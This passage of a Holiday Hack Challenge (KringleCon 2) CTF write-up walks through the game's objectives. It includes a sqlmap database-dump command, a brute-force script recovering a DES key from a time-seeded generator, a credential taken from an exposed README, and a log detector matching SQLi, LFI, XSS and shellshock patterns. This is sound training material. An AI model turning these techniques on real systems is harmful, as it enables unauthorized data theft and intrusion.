sqlmap --csrf-url="http://127.0.0.1:5000/" --csrf-token=token -u"https://studentportal.elfu.org/application-check.php?elfmail=&token="
--dbms=mysql --dump
John Hammond 104
KringleCon 2: Turtle Doves 2020-01-13
Figure 2.144: Finding the paths to the scraps of paper
And I found the URLs for all the scraps of paper hidden on the server!
Now I could download these, and see what secrets they held!
All of the images were literally scraps of paper, so I needed to rearrange them and put them backtogether like pieces of a puzzle. This was a fun exercise in GIMP!
Eventually, I had a picture that looked like this:
John Hammond 105
KringleCon 2: Turtle Doves 2020-01-13
Figure 2.145: The scraps of paper all put together
I thought I had not put one scrap of paper into the mix, but as I recountedmy pieces and the number
John Hammond 106
KringleCon 2: Turtle Doves 2020-01-13
of files available on the server – I had counted correctly! It seems there was just one piece missing, andI could not recover that corner of the page.
Themessage was awfully nefarious! And the background watermark of the paper. . . . it looked like atooth? Very strange!
Regardless, now we had the solution for Objective #9, and we were one step closer!
The answer for Objective #9 is:
Super Sled-o-matic
Figure 2.146: Completed Objective #9 - Retrieve Scraps of Paper from Server
I teleported back to the Steam Tunnels to discuss this with Krampus Hollyfeld.
John Hammond 107
KringleCon 2: Turtle Doves 2020-01-13
Figure 2.147: Krampus explains the next task
Looks like we still havemore work to do. Krampus Hollyfeld explains there are some smart peoplewho could help us for this new Objective #10 in the NetWars room – so o� we go!
2.13 Stopping by the NetWars room
I remembered the NetWars roomwas insideHermey Hall, so I teleported there and then walked in.Holly Evergreenwas there waiting for me!
John Hammond 108
KringleCon 2: Turtle Doves 2020-01-13
2.13.1 Mongo Pilfer - Holly Evergreen’s Cranberry Pi
Figure 2.148: Holly Evergreen’s Troubles
Sounds like she needs helpwith aMongoDB database. I needed to brush up on the syntax for MongoDB,so I did some research and solved this small little challenge!
John Hammond 109
KringleCon 2: Turtle Doves 2020-01-13
Figure 2.149: The Mongo Pilfer Challenge Prompt
I tried to connect to the MongoDB database with the interactive command-line client mongo, but thatfailed!
Figure 2.150:mongo command fails
This included a small nudge, telling me the MongoDB server might be listening on a di�erent port. Itook a look at what ports are accessible with netstat -l.
Figure 2.151: netstat -l output
It seems that port 12121was open and listening. I tried to connect to that. . .
John Hammond 110
KringleCon 2: Turtle Doves 2020-01-13
Figure 2.152: Connecting to MongoDB on port 12121
. . . and it worked! Now I could interact with the MongoDB database.
The first thing I did was show dbs.
admin 0.000GBconfig 0.000GBelfu 0.000GBlocal 0.000GBtest 0.000GB
The elfu database looked the be the one that made the most sense for this challenge, so I switchedto use that database with use elfu.
Then I ran I show collections.
baitchumlinemetadatasolutionsystem.jstackletincan
Interestingly, I sawanentrysolution. I figured I shouldexplore that, so I randb.solution.find()
John Hammond 111
KringleCon 2: Turtle Doves 2020-01-13
Figure 2.153: Instructions to run the solution
Apparently, that was it. I just needed to run the next command, and that was the challenge! I ran
db.loadServerScripts();displaySolution();
and was greeted with “Congratulations!” and a new achievement!
Figure 2.154: Completed Mongo Pilfer - Holly Evergreen’s Cranberry Pi
Now I could talk withHolly Evergeen once more and see what tips she had for Objective #10.
John Hammond 112
KringleCon 2: Turtle Doves 2020-01-13
2.13.2 Objective #10 - Recover Cleartext Document
Figure 2.156: Objective #10 - Recover Cleartext Document
I accessed all the download locations like so:
https://downloads.elfu.org/elfscrow.exehttps://downloads.elfu.org/elfscrow.pdb
And ultimately the encrypted document (separated on a newline to fit).
https://downloads.elfu.org/ElfUResearchLabsSuperSledOMaticQuickStartGuideV1.2.pdf.enc
From the prompt, we know we have this PDF document that was seemingly encrypted using the givenWindows executable between 1900 and 2100 UTC on December 6th, 2019. Our job is to decrypt thisPDF document.
I wanted to analyze using GHIDRA, but GHIDRA would not be able to import .pdb files well on Linux –so I spun upmyWindows VM once more to get all the symbols for debugging and disassembling.
First, we need to determine how the file was encrypted.
John Hammond 114
KringleCon 2: Turtle Doves 2020-01-13
InsideGHIDRA, now that I had the symbols loaded, I searched for symbols containing theword “encrypt.”I found the ?do_encrypt@@YAXHPAD0@Zmangled symbol, which appears to encrypt the given fileusing DES-CBC:
Figure 2.157: GHIDRA - ?do_encrypt() function
The file is encrypted using standard Windows functionality, but I can see that the key used is generatedusing a non-standard function named?generate_key@@YAXQAE@Z. This function looks like this:
John Hammond 115
KringleCon 2: Turtle Doves 2020-01-13
Figure 2.158: GHIDRA - ?generate_key() function
This function seems to generate a string of eight random bytes using a custom random number gen-erator called ?super_secure_randomwhich is seeded with the current time. Typically, seedinga random number generator based o� of time is a bad implementation – this is o�en a vulnerable“pseudo”-random number generator. Since we have a plausible time window during with the thedocument could have been encrypted, we could use this information and potentially generate allpossible keys for this time period.
With that, we could test them individually for successful decryption! First, we will take a look at?super_secure_random:
John Hammond 116
KringleCon 2: Turtle Doves 2020-01-13
Figure 2.159: GHIDRA - ?super_secure_random() function
We knowwhat g_seeds value is before generating the key, so we can generate all possible key com-binations with Python. First, I’ll define a function which will mimic our ?super_secure_randomfunctionality:
def super_secure_random(seed):seed = (((global_seed * 0x343FD) & 0xFFFFFFFF) + 0x269EC3) & 0xFFFFFFFFreturn (seed >> 0x10) & 0x7FFF, seed
Now, the binary does not simply provide an encryption key when encrypting a file. . . instead, a UUID isreturned. On the backend, we can see that a�er encrypting a file, it is stored in a remote database usingthe ?store_key@@YAXHQAE@Z function, which returns a UUID for the user to use when decryptingthe file.
John Hammond 117
KringleCon 2: Turtle Doves 2020-01-13
Figure 2.160: GHIDRA - ?store_key() function
From this function, we see that the key is first converted to hex, then is stored remotely by simply usingan HTTP POST request to elfscrow.elfu.org/api/store. The body of the POST request is thehexlified key itself.
In a similar fashion, there is an inverse of this function called ?retrieve_key@@[email protected] function will request a key based on a given UUID which was returned by a previous call tostore_key. The key is retrieved by simply making another POST request to /api/retrieve. Thebody of the request is the UUID, and the response is the hexlified key stored earlier. We can test thisinteraction by sending a 16-character hexlified fake key using curl and retrieving it:
John Hammond 118
KringleCon 2: Turtle Doves 2020-01-13
Figure 2.161: Testing a fake key
Nice!
With this information, we can now use the provided elfscrow binary to test all possible encryptionkeys individually. We will write a python script that does the following:
1. Select a time within the given range.2. Generate the key for that specific time.3. Post the time to the elfscrow server and retrieve the UUID4. Attempt to decrypt our PDF.
We will do this for every possible time within the timeframe given (every second). First, we will find thestart and ending Unix Epoch times from our range:
START = (datetime.datetime(2019,12,6,19,00) - \datetime.datetime(1970,1,1)).total_seconds()
END = (datetime.datetime(2019,12,6,21,00) - \datetime.datetime(1970,1,1)).total_seconds()
Next, we will iterate over each second in that range and generate the key:
with log.progress("bruteforcing key") as prog:for seed in range(START, END):
# Generate a key from this seedkey = []for i in range(8):
k, seed = super_secure_random(seed)key.append(k & 0xFF)
key = bytes(key)ascii_key = binascii.hexlify(key)
Now, we will submit the key to the elfscrow database and retrieve the UUID:
John Hammond 119
KringleCon 2: Turtle Doves 2020-01-13
r = requests.post("http://elfscrow.elfu.org/api/store",data=ascii_key,
)
uuid = r.textr.close()
Finally, we can attempt to decrypt the PDF using the elfscrow binary itself and our newly generatedencryption key. I do thiswithsubprocess andwine to run thewindows binary onmy Linuxmachine.The elfscrow.exe binary will reach out to elfu.org to retrieve our key, and then attempt todecrypt the file:
try:result = subprocess.check_output([
"wine","./elfscrow.exe","--decrypt",f"--id={uuid}","--insecure","./ElfUResearchLabsSuperSledOMaticQuickStartGuideV1.2.pdf.enc",f"./pdfs/{ascii_key.decode('utf-8')}.pdf",
],stderr=subprocess.STDOUT,timeout=1,
)except subprocess.CalledProcessError as e:
result = e.output
We also specify the --insecure parameter to ensure we don’t use https. This speeds up thecommunication, since we are bruteforcing. Now, we simply need to check if the file was successfullydecrypted:
if b"File successfully decrypted" not in result:prog.status(f"not {ascii_key}")print(result.decode("utf-8"))
else:
John Hammond 120
KringleCon 2: Turtle Doves 2020-01-13
if "PDF" not in magic.from_file(f"./pdfs/{ascii_key.decode('utf-8')}.pdf"):
prog.status(f"not {ascii_key}")print(result.decode("utf-8"))continue
# prog.success(f"correct key is: {key}")log.info(f"correct key is: {ascii_key}")print(result.decode("utf-8"))break
We also check if the file that was decrypted matches the signature for a PDF file. Due to the natureof encryption, some keys will likely be able to decrypt the data, however they will not decrypt to thecorrect value. Therefore, only the key which decrypts to a valid PDF file will be the correct key.
But, this process is very slow due to the outbound connections to elfu.org that are required. Inorder to speed up the process, I implemented another small Python Flask server to simulate the func-tionality of elfscrow.elfu.org and then placed elfscrow.elfu.org in my /etc/hostsfile to redirect all requests to it back to localhost. My Flask server looked like this:
#!/usr/bin/env python3from flask import Flask, request
app = Flask(__name__)key = b"0123456789abcdef"
@app.route("/api/store", methods=["POST"])def store():
global keykey = request.get_data()return "c1046373-76c1-4ba6-8ba5-d69875254d70"
@app.route("/api/retrieve", methods=["POST"])def retrieve():
global keyprint(f"return key: {key}")return key
John Hammond 121
KringleCon 2: Turtle Doves 2020-01-13
if __name__ == "__main__":app.run(port=80)
And I added the following entry to my /etc/hosts file:
127.0.0.1 elfscrow.elfu.org
Now I could runmy script!
Figure 2.162: Running my script
The PDF detection from the python-magic library didn’t seem to behave, but a�er looking in mydumped pdfs directory, I could see I had a handful of files – and one of them seemed to be a properPDF!
Figure 2.163: Successfully decrypted a PDF
John Hammond 122
KringleCon 2: Turtle Doves 2020-01-13
That was it! I had decrypted the document. Following the prompt, I could see the title, and knew theanswer for the objective.
The answer for Objective #10 is:
Machine Learning Sleigh Route Finder
Figure 2.165: Completed Objective #10 - Recover Cleartext Document
With Objective #10 complete, I’ll check back in with Krampus Hollyfeld and see what is next. Uponvisiting him, he didn’t have any new dialogue, so I just moved on to Objective #11!
2.14 Returning to the Student Union
2.14.1 Smart Braces - Kent Tinseltooth’s Cranberry Pi
For Objective #11, it is suggested thatKent Tinseltoothmight have somewords of wisdom. I teleportedback to the Student Union and struck up a conversation.
John Hammond 124
KringleCon 2: Turtle Doves 2020-01-13
Figure 2.166: Kent Tinseltooth needs some help
Sounds like his Cranberry Pi needs some work done with iptables. I went to take a look. It startedwith a long, slow-paced introduction, that would kick start every time the Cranberry Pi was opened.
It o�ered some backstory, but ultimately explainedwe needed to configure the firewall with the criteriagiven at /home/elfuuser/IOTteethBraces.md.
It is a lengthy file, so I will include it as a screenshot:
John Hammond 125
KringleCon 2: Turtle Doves 2020-01-13
Figure 2.167: The prompt for configuring the firewall
Ultimately, we need to use iptables to:
1. Set the default policies to DROP for the INPUT, FORWARD, and OUTPUT chains.2. Create a rule to ACCEPT all connections that are ESTABLISHED,RELATED on the INPUT andthe OUTPUT chains.
3. Create a rule to ACCEPT only remote source IP address 172.19.0.225 to access the local SSHserver (on port 22).
4. Create a rule to ACCEPT any source IP to the local TCP services on ports 21 and 80.5. Create a rule to ACCEPT all OUTPUT tra�ic with a destination TCP port of 80.6. Create a rule applied to the INPUT chain to ACCEPT all tra�ic from the lo interface.
The example syntax given in the markdown file prompt gave a decent crash course on the commandsemantics, but I had to do just a bit more research to get some other things right.
John Hammond 126
KringleCon 2: Turtle Doves 2020-01-13
I don’t know howmuch I can particularly showcase for this challenge, considering each commandwould just take e�ect andnoother outputwould come from it. The only changeoccurswhen the systemdetects that all the rules are correctly in place. The syntax for iptables is almost self-explanatory, itis not too hard to parse for the human eye.
Here are the commands I used to complete the challenge:
# criteria #1sudo iptables -P INPUT DROPsudo iptables -P FORWARD DROPsudo iptables -P OUTPUT DROP
# criteria #2sudo iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j \ACCEPT
sudo iptables -A OUTPUT -m conntrack --ctstate ESTABLISHED,RELATED -j \ACCEPT
# criteria #3sudo iptables -A INPUT -p tcp --dport 22 -s 172.19.0.225 -j ACCEPT
# criteria #4sudo iptables -A INPUT -p tcp --dport 21 -j ACCEPTsudo iptables -A INPUT -p tcp --dport 80 -j ACCEPTsudo iptables -A OUTPUT -p tcp --sport 21 -j ACCEPTsudo iptables -A OUTPUT -p tcp --sport 80 -j ACCEPT
# criteria #5sudo iptables -A OUTPUT -p tcp --dport 80 -j ACCEPT
# criteria #6sudo iptables -A INPUT -i lo -j ACCEPT
# wait until it detects you have the right rules in place
Soon enough, the “inner voice” of Kent speaks to me!
John Hammond 127
KringleCon 2: Turtle Doves 2020-01-13
Figure 2.168: Completed configuring the firewall
Figure 2.169: Completed Smart Braces - Kent Tinseltooth’s Cranberry Pi
I’ll speak to Kent Tinseltooth to get some new intel on Objective #11.
Figure 2.170: Intel for Objective #11
We can get into the crate in the Student Unionwith some Developer Tools tricks!
John Hammond 128
KringleCon 2: Turtle Doves 2020-01-13
2.14.2 Objective 11 - Open the Sleigh Shop Door
Figure 2.171: Objective #11 - Open the Sleigh Shop Door
This objective has no link, so it must seem to be only be accessible over by Shinny Upatree in theStudent Union. I’ll chat with him:
Figure 2.172: Shinny Upatree knows what is going on
Shinny Upatree o�ers the link to the challenge:
John Hammond 129
KringleCon 2: Turtle Doves 2020-01-13
https://crate.elfu.org/
This page seemingly has a series of locks to unlock!
Figure 2.173: Locks on the crate
Each lock had a small riddle, each with hints, that I unabashedly took advantage of.
Note: the “lock value” changes upon every page refresh – so these given answers and screen-shots will not be valid as another individual tries to recreate this. A third-party must do thesesteps on their own!
2.14.3 Lock #1
I locked the crate with the villain’s name inside. Can you get it out?
You don’t need a clever riddle to open the console and scroll a little.
This lock clearly refered to the Console in the browser develop tools. I opened mine with the F12hotkey.
John Hammond 130
KringleCon 2: Turtle Doves 2020-01-13
Figure 2.174: Lock #1
The hints for this were given as:
Google: “[your browser name] developer tools console”
The code is 8 char alphanumeric
2.14.4 Lock #2
Some codes are hard to spy, perhaps they’ll show up on pulp with dye?
The hints for this explained:
Most paper is made out of pulp.
How can you view this page on paper?
Emulate printmedia, print this page, or view a print preview.
These hints seemed to simply o�er the solution.
In this case, I printed the page to a PDF, and opened the file to see the code.
John Hammond 131
KringleCon 2: Turtle Doves 2020-01-13
Figure 2.175: Lock #2
2.14.5 Lock #3
This code is still unknown; it was fetched but never shown.
This prompted o�ered enough of a clue for me to tell it was resource that was probably requested bythe page, and captured in the Network tab of my Developer Tools.
Figure 2.176: Lock #3
The hints for this o�ered:
Google: “[your browser name] view network”
Examine the network requests.
2.14.6 Lock #4
John Hammond 132
KringleCon 2: Turtle Doves 2020-01-13
Where might we keep the things we forage? Yes, of course: Local barrels!
I knew this one just frommy exposure to somany Capture the Flag challenges, this was referring tolocalStorage!
Figure 2.177: Lock #4
The hints for this one displayed:
Google: “[your browser name] view local storage”
2.14.7 Lock #5
Did you notice the code in the title? It may very well prove vital.
This mademe laugh, because I hadn’t noticed! I could see a code in the middle of my titlebar, it waspushed far along in the string by some spaces. I pulled it out just by JavaScript.
Figure 2.178: Lock #5
The hints suggested this method as well:
There are several ways to see the full page title: - Hovering over this browser tab with your mouse
John Hammond 133
KringleCon 2: Turtle Doves 2020-01-13
- Finding and opening the <title> element in the DOM tree - Typing document.title intothe console
2.14.8 Lock #6
In order for this hologram to be e�ective, it may be necessary to increase your perspective.
Admittedly I relied on the hints for this one. They suggested:
perspective is a css property.
Find the element with this css property and increase the current value.
So, I found this within the <div class="hologram"> tag and removed the CSS perspectiveproperty, so I can see the code in the browser display.
Figure 2.179: Lock #6
2.14.9 Lock #7
The font you’re seeing is pretty slick, but this lock’s code was my first pick.
I was stuck on this riddle for some time. The hints showcased:
John Hammond 134
KringleCon 2: Turtle Doves 2020-01-13
In the font-family css property, you can list multiple fonts, and the first available font on thesystemwill be used.
I looked in the Style Editor section of my Developer tools, and eventually realized for the longest time,I had not scrolled down to see one inline style! That had a font referenced that contained the code:
Figure 2.180: Lock #7
2.14.10 Lock #8
In the event that the .eggs go bad, youmust figure out who will be sad.
Again I needed a lifeline for this riddle, and consulted the hints.
Google: “[your browser name] view event handlers”
Now, I knew to “Inspect Element” on the .eggs text and check out the event handler. Exploring this, Ifound the code!
Figure 2.181: Lock #8
2.14.11 Lock #9
John Hammond 135
KringleCon 2: Turtle Doves 2020-01-13
This next code will be unredacted, but only when all the chakras are :active.
I took a look at source code for the CSS and saw the “chakras”. Within that, I could see the :activepsuedo-class definitions and I could see it building out the code.
Figure 2.182: Lock #9
The hints for this riddle suggested:
:active is a css pseudo class that is applied on elements in an active state.
Google: “[your browser name] force psudo classes”
2.14.12 Lock #10
Oh, no! This lock’s out of commission! Pop o� the cover and locate what’s missing.
I spentmore time on this lock than I care to admit, but I really like the solution. Full-disclosure, I lookedat the hints:
John Hammond 136
KringleCon 2: Turtle Doves 2020-01-13
Use the DOM tree viewer to examine this lock. you can search for items in the DOM using this view.
You can click and drag elements to reposition them in the DOM tree.
If an action doesn’t produce the desired e�ect, check the console for error output.
Be sure to examine that printed circuit board.
I was unaware I could literally drag elements within the Developer Tools Inspector pane and movetags within the page. Eventually, I realized I literally needed to “pop the cover” by dragging the coverelement o�.
Figure 2.183: Lock #10 - The cover element
John Hammond 137
KringleCon 2: Turtle Doves 2020-01-13
Figure 2.184: Lock #10 - The lock with the cover popped o�
With the cover o�, I could see on the bottom right-corner of the shown circuit board the string“KD29XJ37”. I tried to enter that as the code, but it didn’t seem to work!
Fortunately I had the Console tab open in the Developer Tools, and it displayed to me:
Figure 2.185: Lock #10 - Missing macaroni!
“Missing macaroni!?” What?
I could see on the circuit board there seemed to be an outline of. . . macaroni. . . and something thatlooked like a Q-tib, and I couldn’t decipher what the other imprint was supposed to be.
John Hammond 138
KringleCon 2: Turtle Doves 2020-01-13
I was stumped at this. I spent way too long trying to reverse obfuscated JavaScript (a certain tortureno one should be subjected to), and eventually I threwmy hands up in the air and gave up. Some timelater, I revisited the challenge, and took another look at the HTML of the page in the Inspector tab ofDeveloper Tools.
Turns out, there was a div element with the class macaroni!!
Following the previous procedure of dragging elements in the DOM, I carried it to the lock.
Figure 2.186: Lock #10 - Found the macaroni!
This lock seriously needed a piece of macaroni in it to function. I tried to unlock it once more, and sawthe error message for the “cotton swab” and consequently the “gnome”, a�er moving the appropriateHTML elements in.
(I had previously found those strings when droning throughminified, compressed, and obfuscatedJavaScript, and I was really scratching my head then. . . )
John Hammond 139
KringleCon 2: Turtle Doves 2020-01-13
Figure 2.187: Lock #10 - All the components included
Upon clicking “Unlock” for the last lock – I found the piece of paper, with the villains name on it!
Figure 2.188: The Villain is The Tooth Fairy
John Hammond 140
KringleCon 2: Turtle Doves 2020-01-13
With that, the door the Sleigh Shopwas open I could submit the answer to Objective #11!
The answer for Objective #11 is:
The villain is The Tooth Fairy
Figure 2.189: Shinny Upatree’s Response
Figure 2.190: Completed Objective #11 - Open the Sleigh Shop Door
2.15 Into the Sleigh Shop
I walked in to the Sleigh Shop and I could see the villain herself standing there waiting for me – TheTooth Fairy!
John Hammond 141
KringleCon 2: Turtle Doves 2020-01-13
Figure 2.191: Inside the Sleigh Shop
I went to confront her.
Figure 2.192: The Tooth Fairy
John Hammond 142
KringleCon 2: Turtle Doves 2020-01-13
Sound like I still need to finish Objective #12 – but first I needed to helpWunorse Openslae!
2.15.1 Zeek JSON Analysis - Wunorse Openslae’s Cranberry Pi
Figure 2.193:Wunorse Openslae’s Hardship
I took a look at the Cranberry Pi.
Figure 2.194: The Zeek JSON Analysis Prompt
I knew from the prompt that I could solve this with jq. I did a little bit of research on jq, and noticedthat I could use the max_by function. It needed to be used in the correct format, so I passed the -s
John Hammond 143
KringleCon 2: Turtle Doves 2020-01-13
argument, which, from theman page:
-slurp/-s:
Instead of running the filter for each JSON object in the input,read the entire input stream into a large array and run the filterjust once.
Figure 2.195: The jq result
This found the solution right away! The culprit IP address was 13.107.21.200.
John Hammond 144
KringleCon 2: Turtle Doves 2020-01-13
Figure 2.196: Submitting the IP with runtoanswer
Figure 2.197: Completed Zeek JSON Analysis
Success! Now I could get somemore information fromWunorse Openslae.
He has a lot of useful dialogue that I would like to include, but it will not fit well as a screenshot so I willinclude it as text:
Hey, you knowwhat? We’ve got a crisis here.
You see, Santa’s flight route is planned by a complex set of machine learning algorithms whichuse available weather data.
All the weather stations are reporting severe weather to Santa’s Sleigh. I think someonemight beforging intentionally false weather data!
I’m so flummoxed I can’t even remember how to login!
Hmm.. . Maybe the Zeek http.log could help us.
John Hammond 145
KringleCon 2: Turtle Doves 2020-01-13
I worry about LFI, XSS, and SQLi in the Zeek log - ohmy!
And I’d be shocked if there weren’t some shell stu� in there too.
I’ll bet if you pick through, you can find some naughty data from naughty hosts and block it in thefirewall.
If you find a log entry that definitely looks bad, try pivoting o� other unusual attributes in thatentry to find more bad IPs.
The sleigh’s machine learning device (SRF) needs most of the malicious IPs blocked in order tocalculate a good route.
Try not to block many legitimate weather station IPs as that could also cause route calculationfailure.
Nowwe have a bit more clarification on how to approach Objective #12!
2.15.2 Objective #12 - Filter Out Poisoned Sources of Weather Data
Figure 2.198: Objective #12 - Filter Out Poisoned Sources of Weather Data
I could download the Zeek JSON logs from the given URL, and access the Sleigh Route Finder webpagewith the next link:
https://downloads.elfu.org/http.log.gzhttps://srf.elfu.org/
John Hammond 146
KringleCon 2: Turtle Doves 2020-01-13
Upon looking at the login page for the site, I think back toWunorse Openslae’s words – he did notknow the login credentials!
When I saw the website, I remembered the PDF that I had decrypted for Objective #10 was about the“Sleigh Route Finder” – so in case that had any tips or subtle nods to this challenge, I went to look backat the document.
On the third page of the PDF, it discuss the SRF “Sleigh Route Finder Web API” and how it binds toa local port. It explains “the default login credentials. . . can be found in the the readme in the ElfUResearch Labs git repository.”
Figure 2.200: Excerpt from the PDF
At this point I did not know about any ElfU Research Labs git repository location – but I had a thoughtthat maybe there was a public-facing /.git/ directory accessible on the webpage.
That returned a 404 – and didn’t seem to be the right direction. I thought, maybe the README.mdwas still available on the site? A bit of a leap of faith, but. . .
John Hammond 148
KringleCon 2: Turtle Doves 2020-01-13
Figure 2.201: Downloading README.md
It was there! I could download the README.md andmaybe that still had the credentials present.
# Sled-O-Matic - Sleigh Route Finder Web API
### Installation
sudo apt install python3-pipsudo python3 -m pip install -r requirements.txt
#### Running:
python3 ./srfweb.py
#### Logging in:
John Hammond 149
KringleCon 2: Turtle Doves 2020-01-13
You can login using the default admin pass:
admin 924158F9522B3744F5FCD4D10FAC4356
However, it's recommended to change this in the db to something custom.
Awesome, it still had the credentials to login with. Best of all – they worked!
Now I could log in to the SRF API and the website seemed very descriptive. It had a helpful “About”section:
Santa’s Sleigh no longer uses magic to guide it and has instead been upgraded with a newer,better andmore e�icient device created by the students at ELF-University called the SRF - SleighRoute Finder. This page is the landing page for monitoring and controlling the SRF. The SRFdevice ingests weather data from thousands of remote weather stations reporting directly toSanta’s Sleigh. The SRF’s on-board computer then calculates the best andmost e�iciency presentdelivery path using machine learning. Remote elf workers around the world maintain thousandsof di�erent weather stations around the globe that report weather conditions directly to theon-board SRF device through this API.
It also had some documentation for the API, accessible to download at:
https://srf.elfu.org/apidocs.pdf
This showcases some specific API endpoints:
To Update The Measurements Fora Specific Global Elf Weather Station:HTTP POST REQUEST TO -http://srf.elfu.org/api/measurements
API Request All StationIDS:HTTP GET REQUEST -http://srf.elfu.org/api/stations
API Request All Stations Weather Data:HTTP GET REQUEST -http://srf.elfu.org/api/weather?station_id=*
API Request One Stations Weather Data:HTTP GET REQUEST -http://srf.elfu.org/api/weather?station_id=abcd1234
API Request Multiple Specific StationsWeatherData:HTTP GET REQUEST -http://srf.elfu.org/api/weather?station_id=abcd1234,abcd1235
John Hammond 150
KringleCon 2: Turtle Doves 2020-01-13
These are good to take inventory of, so I can better detectwhatmight be “normal” activitywhen lookingat the given Zeek logs.
On the website, there is a “Firewall” section that has the inputs for the bad IPs or subnets that I shouldfind within the Zeek logs. My plan was to find themalicious IP addresses and “DENY” them fromwithinthe application.
Figure 2.202: The Firewall interface
Now that I had scoped out the website, I could dive in to the Zeek logs.
Admittedly, I knew that I needed to do so many di�erent forms of filtering all at once, and I wasn’t surehow I could do that within jq. So, I opted for my usual weapon of choice, and reached for Python.
First, I built a primitive function to search for some regular expression inside of a field in a JSON object.Then, I built small functions to use that rudimentary process to detect potentially bad SQL injection,local file inclusion, cross-site scripting, and shellshock. I could use those in a loop on all the JSONobjects, and filter them out as needed.
John Hammond 151
KringleCon 2: Turtle Doves 2020-01-13
Figure 2.203: Python code for filtering
This worked inside of a for loop. With that code, I started with a baseline of about 62 bad IP addresses.I took a look at JSON objects and looked to see if there were any other anamolies.
John Hammond 152
KringleCon 2: Turtle Doves 2020-01-13
Figure 2.204: Bad User-Agent Strings
I noticed a trend – in just about all of the malicious queries, the User-Agent field seemed to havesome strange typos, mispellings, incorrect values or just bad formatting. Slowly, I built up a stockpileof patterns inside of the User-Agent string.
Figure 2.205: Collection of Bad User-Agents
This seemed to be the field to “pivot” on!
This list grew and grew. I had tons of bad strings! The following are some excerpts:
r"Metasploit", r"Goglebot", r"PeoplePal", r"FunWebProducts",r"Window NT", r"CholTBAgent", r"RookIE", r"SIMBAR", r"ApleWebKit",r"W1ndow", r"gecko", r"Mozilla4\.0", r"MSIe", r"Windows NT6.0",
John Hammond 153
KringleCon 2: Turtle Doves 2020-01-13
r"Windos", r"Tridents", r"\.NETS", r"Windows MT", r"; v\.\)",r"Windows_NT", r";MSIE 7\.0;", r"MSSIE", r"MSIE 6.a", r"666\.0",r"10\.0;Win64;x64", r"MSIE 5\.0;Windows_98", r"MSIE\d", r"compatibl;",r"MSIEE", r"Windows; U; Windows NT5\.1; en-US; rv:1\.9\.2\.3\)",r"Windows-NT", r"NT 500.0", r" NT\d", r"AntivirXP08", r"Wget", r"\.\./",
Admittedly, I had tweaked tailored this data set for hours. I would get a bit above 100 IPs, ora bit below – eventually, from the set of bad User-Agent strings I had previously, I removedr"FunWebProducts" and r"NT\d".
I ended up a total of 96 bad IP addresses, rather than 100, but it worked!
Figure 2.206:My script in action
Figure 2.207: Successful Route Calculation
John Hammond 154
KringleCon 2: Turtle Doves 2020-01-13
Ultimately, my script looked like this:
#!/usr/bin/env python
import jsonimport refrom pprint import pprint
all_json = json.load(open("all.json"))
bad_uas = [# r" NT\d",# r"FunWebProducts",r"Metasploit", r"Goglebot", r"PeoplePal", r"Window NT",r"ApleWebKit", r"AntivirXP08", r"W1ndow", r"gecko",r"Mozilla4\.0", r"MSIe", r"Windows NT6.0", r"Windos",r"CholTBAgent", r"RookIE", r"HttpBrowser", r"SIMBAR",r"Chrome /", r"Tridents", r"Wget", r"WinInet", r"\.NETS",r"Windows MT", r"; v\.\)", r"Windows_NT", r";MSIE 7\.0;",r"MSSIE", r"MSIE 6.a", r"666\.0", r"10\.0;Win64;x64",r"MSIE 5\.0;Windows_98", r"MSIE\d", r"compatibl;", r"\.\./",r"MSIEE", r"Windows; U; Windows NT5\.1; en-US; rv:1\.9\.2\.3\)",r"Windows-NT", r"NT 500.0",
]
all_json = json.load(open("all.json"))bad_ips = []
def detect_pattern(pattern, field_strings, j):global bad_ipsfor field in field_strings:
if re.search(pattern, j[field]):bad_ips.append(j["id.orig_h"])# pprint(j)try:
all_json.remove(j)except:
pass # ignore if we already removed it (somehow?)
John Hammond 155
KringleCon 2: Turtle Doves 2020-01-13
def find_bad_lfi(j):detect_pattern(r"/etc/passwd", ["uri"], j)
def find_bad_xss(j):detect_pattern(r"<script>", ["uri", "host"], j)
def find_bad_sql(j):detect_pattern(r"or '", ["username", "password"], j)detect_pattern(r"UNION", ["uri", "user_agent"], j)
def find_bad_shellshock(j):detect_pattern(r"\(\) { :; };", ["user_agent"], j)
def find_bad_useragent(j):for ua in bad_uas:
detect_pattern(ua, ["user_agent"], j)
print(f"{len(all_json)} original entries.")
for j in all_json:
find_bad_lfi(j)find_bad_xss(j)find_bad_sql(j)find_bad_shellshock(j)find_bad_useragent(j)
print(f"{len(all_json)} final entries.")print("Bad IPs found:")bad_ips = list(set(bad_ips))# pprint(bad_ips)print(f"{len(bad_ips)} bad ips.")print(",".join(bad_ips))
John Hammond 156
KringleCon 2: Turtle Doves 2020-01-13
Whew! Finally, I had the Route ID, and I could submit it for Objective #12!
The answer for Objective #12 is:
0807198508261964
Figure 2.208: Completed Objective #12 - Filter Out Poisoned Sources of the Weather Data
2.16 Entering the Bell Tower
As I completed Objective #12, the door in the right corner opened and I could access The Bell Tower!
John Hammond 157
KringleCon 2: Turtle Doves 2020-01-13
Figure 2.209: The Bell Tower
Krampus Hollyfeld, Santa and The Tooth Fairywere all there!
I first went to speak to Krampus.
John Hammond 158
KringleCon 2: Turtle Doves 2020-01-13
Figure 2.210: Krampus won the Frido Sleigh Contest
John Hammond 159
KringleCon 2: Turtle Doves 2020-01-13
Hurray! Krampuswon the Frido Sleigh contest! I spoke to The Tooth Fairy:
Figure 2.211:We stopped The Tooth Fairy
John Hammond 160
KringleCon 2: Turtle Doves 2020-01-13
I laughed harder than I should have at the Scooby-Doo reference.
Before I went to speak to Santa, I could see a small piece of paper in the corner. . .
Figure 2.212: A devious note. . .
Uh oh! Sounds like somemore devious plans, this time by Jack Frost! Perhaps he will pay us a visit atKringleCon III!?
Finally, I went to speak to Santa!
John Hammond 161
KringleCon 2: Turtle Doves 2020-01-13
And with that, the credits rolled!
Figure 2.214:Wewon!
Figure 2.215: And the credits rolled. . .
We had saved the holiday, and successfully completed all of the tasks and objectives as part of Kringle-Con II: Turtle Doves!
John Hammond 163
3 Thank You
Wow, it took a long time to write this report!
Thank you so much for this incredible learning experience. Sincerely. The Holiday Hack Challenge isone of the most enjoyable events that I really look forward to every single year. It was surreal to watchthe credits this year and see some familiar names, and I cannot thank you enough for letting me be apart of KringleCon! :)
164
Top Related